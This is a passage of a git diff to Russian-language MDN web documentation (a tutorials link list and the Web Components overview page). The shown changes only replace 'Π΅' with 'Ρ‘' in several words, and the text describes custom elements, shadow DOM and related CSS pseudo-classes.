+ <dd>Douglas Crockford исслСдуСт язык, ΠΊΠ°ΠΊΠΎΠΉ ΠΎΠ½ Π΅ΡΡ‚ΡŒ сСгодня, ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΏΡ€ΠΈΡˆΡ‘Π», Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></dt>
<dd>Π£Π·Π½Π°ΠΉΡ‚Π΅ ΠΎΠ± ООП Π² JavaScript.</dd>
</dl>
@@ -93,7 +93,7 @@ translation_of: Web/Tutorials
<dt><a href="http://ejohn.org/apps/learn/" rel="external">Learning Advanced JavaScript</a> (John Resig)</dt>
<dd>Π“ΠΈΠ΄ ΠΏΠΎ "ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΠΎΠΌΡƒ" JavaScript ΠΎΡ‚ John Resig.</dd>
<dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducing the JavaScript DOM</a> (Elated)</dt>
- <dd>Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Document Object Model, ΠΈ Π·Π°Ρ‡Π΅ΠΌ ΠΎΠ½Π° Π½ΡƒΠΆΠ½Π°? Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ постСпСнноС Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² эту ΠΌΠΎΡ‰Π½ΡƒΡŽ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ JavaScript.</dd>
+ <dd>Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Document Object Model, ΠΈ Π·Π°Ρ‡Π΅ΠΌ ΠΎΠ½Π° Π½ΡƒΠΆΠ½Π°? Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ постСпСнноС Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² эту ΠΌΠΎΡ‰Π½ΡƒΡŽ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ JavaScript.</dd>
<dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">An Inconvenient API: The Theory of the DOM</a> (YUI Blog)</dt>
<dd>Douglas Crockford ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Document Object Model.</dd>
<dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog)</dt>
@@ -112,7 +112,7 @@ translation_of: Web/Tutorials
<dl>
<dt><strong><a href="http://exploringjs.com/es6/" rel="external">Exploring ES6</a>Β (Dr. Axel Rauschmayer)</strong></dt>
- <dd>НадСТная ΠΈ подробная информация ΠΎΠ± ECMAScript 2015.</dd>
+ <dd>НадёТная ΠΈ подробная информация ΠΎΠ± ECMAScript 2015.</dd>
<dt><a href="https://github.com/bolshchikov/js-must-watch">JavaScript Videos</a>Β (GitHub)</dt>
<dd>Π’ΠΈΠ΄Π΅ΠΎ ΠΎ JavaScript.</dd>
</dl>
@@ -127,7 +127,7 @@ translation_of: Web/Tutorials
<dl>
<dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS Getting Started</a></dt>
- <dd>Π­Ρ‚ΠΎΡ‚ ΡƒΡ‡Π΅Π±Π½ΠΈΠΊ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с каскадными таблицами стилСй (CSS). Он ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· основныС особСнности CSS ΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ практичСскиС примСры, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒΒ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ ΡƒΡ‡Π΅Π±Π½ΠΈΠΊ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с каскадными таблицами стилСй (CSS). Он ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· основныС особСнности CSS ΠΈ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ практичСскиС примСры, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒΒ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</dd>
<dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt>
<dd>Π§Ρ‚ΠΎ такоС классы Π² CSS?</dd>
<dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">External CSS</a> (Wikiversity)</dt>
@@ -154,7 +154,7 @@ translation_of: Web/Tutorials
<dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressive Enhancement with CSS</a> (A List Apart)</dt>
<dd>ΠŸΡ€ΠΎΠ³Ρ€Π΅ΡΡΠΈΠ²Π½ΠΎΠ΅Β ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅Β Π² Π²Π΅Π±-страницы с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS.</dd>
<dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt>
- <dd>Π”ΠΈΠ·Π°ΠΉΠ½ вСрстки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΏΠ»Π°Π²Π½ΠΎ измСняСтся вмСстС с Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ ΠΎΠΊΠ½Π°, основанный Π½Π° сСткС.</dd>
+ <dd>Π”ΠΈΠ·Π°ΠΉΠ½ вёрстки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΏΠ»Π°Π²Π½ΠΎ измСняСтся вмСстС с Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ ΠΎΠΊΠ½Π°, основанный Π½Π° сСткС.</dd>
</dl>
<h3 id="ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ_ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ_3">ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ</h3>
diff --git a/files/ru/web/web_components/index.html b/files/ru/web/web_components/index.html
index a6b79d100e..55d782175d 100644
--- a/files/ru/web/web_components/index.html
+++ b/files/ru/web/web_components/index.html
@@ -11,7 +11,7 @@ translation_of: Web/Web_Components
<p>Как Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, всС ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ использования ΠΊΠΎΠ΄Π° - Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ идСя. Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ это Π±Ρ‹Π»ΠΎ Π½Π΅ Ρ‚Π°ΠΊ просто для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… структур Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ - ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ слоТном HTML (ΠΈ связанном с Π½ΠΈΠΌ стилС ΠΈ сцСнарии), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ ΠΏΠΈΡΠ°Ρ‚ΡŒ для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… элСмСнтов управлСния UI, ΠΈ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΈΡ… ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎΠ΅ использованиС ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π°ΡˆΡƒ страницу Π² бСспорядок Ссли Π²Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ остороТны.</p>
-<p>Π’Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ - ΠΎΠ½ΠΈ состоят ΠΈΠ· Ρ‚Ρ€Π΅Ρ… основных Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС для создания ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹Ρ… настраиваСмых элСмСнтов с инкапсулированной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³Π΄Π΅ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½Π΅ опасаясь ΠΊΠΎΠ»Π»ΠΈΠ·ΠΈΠΉ ΠΊΠΎΠ΄Π°.</p>
+<p>Π’Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ - ΠΎΠ½ΠΈ состоят ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… основных Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС для создания ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹Ρ… настраиваСмых элСмСнтов с инкапсулированной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³Π΄Π΅ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½Π΅ опасаясь ΠΊΠΎΠ»Π»ΠΈΠ·ΠΈΠΉ ΠΊΠΎΠ΄Π°.</p>
<ul>
<li><strong>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</strong>: Π½Π°Π±ΠΎΡ€ API-интСрфСйсов JavaScript, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты ΠΈ ΠΈΡ… ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ ТСланию Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС.</li>
@@ -23,7 +23,7 @@ translation_of: Web/Web_Components
<ol>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ класс, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ своСго Π²Π΅Π±-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ синтаксис классов ECMAScript 2015 (Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ см. Π²Β Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes">ΠšΠ»Π°ΡΡΡ‹</a>).</li>
- <li>ЗарСгистрируйтС свой Π½ΠΎΠ²Ρ‹ΠΉ настраиваСмый элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("CustomElementRegistry.define()")}}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΌΡƒ имя элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, класс ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Π°Β Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈ, Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΡ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ элСмСнта ΠΎΠ½ наслСдуСтся.</li>
+ <li>ЗарСгистрируйтС свой Π½ΠΎΠ²Ρ‹ΠΉ настраиваСмый элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("CustomElementRegistry.define()")}}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΌΡƒ имя элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, класс ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Π°Β Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈ, Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΡ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ элСмСнта ΠΎΠ½ наслСдуСтся.</li>
<li>ΠŸΡ€ΠΈ нСобходимости ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚Π΅ Ρ‚Π΅Π½Π΅Π²ΡƒΡŽΒ DOM ΠΊ настраиваСмому элСмСнту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("Element.attachShadow()")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΈ Ρ‚.Π΄. Π²Β Ρ‚Π΅Π½Π΅Π²ΠΎΠΉΒ DOM, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM.</li>
<li>ΠŸΡ€ΠΈ нСобходимости ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ HTML template, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{htmlelement("template")}} ΠΈ {{htmlelement("slot")}}. Π‘Π½ΠΎΠ²Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ шаблон ΠΈ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊ вашСй Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM.</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свой настраиваСмый элСмСнт Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Π½Π° своСй страницС, ΠΊΠ°ΠΊ ΠΈ любой ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ элСмСнт HTML.</li>
@@ -50,7 +50,7 @@ translation_of: Web/Web_Components
<dt>{{domxref("Window.customElements")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ссылку Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>CustomElementRegistry</code>.</dd>
<dt><a href="/ru/docs/Web/Web_Components/Using_custom_elements#ИспользованиС_lifecycle_callbacks">ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹Π΅ Π²Ρ‹Π·ΠΎΠ²Ρ‹ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°</a></dt>
- <dd>Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ опрСдСлСния класса настраиваСмого элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Π΅Π³ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅:
+ <dd>Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ опрСдСлСния класса настраиваСмого элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Π΅Π³ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅:
<ul>
<li><code>connectedCallback</code>: вызываСтся, ΠΊΠΎΠ³Π΄Π° настраиваСмый элСмСнт Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΊ DOM Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
<li><code>disconnectedCallback</code>: вызываСтся, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΎΡ‚ DOM Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
@@ -62,13 +62,13 @@ translation_of: Web/Web_Components
<dd>
<ul>
<li>Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ HTML {{htmlattrxref("is")}}: позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ стандартный элСмСнт HTML Π΄ΠΎΠ»ΠΆΠ΅Π½ вСсти сСбя ΠΊΠ°ΠΊ зарСгистрированный встроСнный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт.</li>
- <li>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Β«isΒ» ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("Document.createElement()")}}: позволяСт ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ экзСмпляр стандартного HTML-элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ зарСгистрированный настраиваСмый встроСнный элСмСнт.</li>
+ <li>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Β«isΒ» ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("Document.createElement()")}}: позволяСт ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ экзСмпляр стандартного HTML-элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ зарСгистрированный настраиваСмый встроСнный элСмСнт.</li>
</ul>
</dd>
<dt>ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹ CSS</dt>
<dd>ΠŸΡΠ΅Π²Π΄ΠΎΠΊΠ»Π°ΡΡΡ‹, относящиСся ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ ΠΊ настраиваСмым элСмСнтам:
<ul>
- <li>{{cssxref(":defined")}}: БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ элСмСнту, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ встроСнныС элСмСнты ΠΈ настраиваСмыС элСмСнты, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>CustomElementRegistry.define()</code>.</li>
+ <li>{{cssxref(":defined")}}: БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ элСмСнту, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ встроСнныС элСмСнты ΠΈ настраиваСмыС элСмСнты, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>CustomElementRegistry.define()</code>.</li>
<li>{{cssxref(":host")}}:Β Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ DOM</a>, содСрТащСго CSS, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ.</li>
<li>{{cssxref(":host()")}}:Β Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM</a>, содСрТащий CSS, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ (Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ Π΅Π³ΠΎ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM) - Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли сСлСктор, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, совпадаСт с Ρ‚Π΅Π½Π΅Π²Ρ‹ΠΌ хостом.</li>
<li>{{cssxref(":host-context()")}}:Β Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM</a>, содСрТащий CSS, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ (Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ Π΅Π³ΠΎ Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ DOM) - Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли сСлСктор, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, совпадаСт с ΠΏΡ€Π΅Π΄ΠΊΠΎΠΌ(-Π°ΠΌΠΈ) Ρ‚Π΅Π½Π΅Π²ΠΎΠ³ΠΎ хоста Π² Ρ‚ΠΎΠΌ мСстС, Π³Π΄Π΅ ΠΎΠ½ находится 